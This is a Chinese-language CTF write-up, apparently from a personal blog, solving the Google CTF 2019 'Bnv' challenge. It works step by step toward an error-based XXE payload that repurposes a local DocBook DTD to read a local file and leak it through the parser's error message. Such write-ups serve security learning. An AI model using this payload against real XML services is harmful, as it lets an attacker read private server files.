# [GoogleCTF2019 Quals]Bnv

先 bp 抓包发现

1

是 json 数据:由 json 数据想到是 xxe 注入,再次基础上修改 Content-Type 为 application/xml, 发现是少了一个 <,感觉是少了一个 xml 文件的头,加一个

2

<?xml version="1.0" encoding="UTF-8"?>

3

报错说是没找到 DTD 文件,添加 DTD 文件的实体

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY xxe "135601360123502401401250">
]>
<message>&xxe;</message>

4

报错没有元素消息的声明

5

可以看到报错没有元素消息的声明,显然解析器需要在 DTD 中声明以定义的元素,有点像在使用变量之前声明变量。所以让我们给它想要的,我们要做的就是在 DTD 中声明消息,我们可以通过使用数据,指定名为 message 的元素来实现这一点,定义类型设置为 PC 数据,现在让我们继续尝试。

这里得说一下 DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。带有 DTD 的 XML 文档实例
6

回显成功,通过外带数据的形式添加一7 个外部实体来发出出口请求。

未加载外部实体,需要使用内部 dtd 文件加载,(之前还用加载文件的方法,结果标记错误)8

10

最后的数据:

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>

9

参考链接:https://blog.csdn.net/cjdgg/article/details/114420160

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal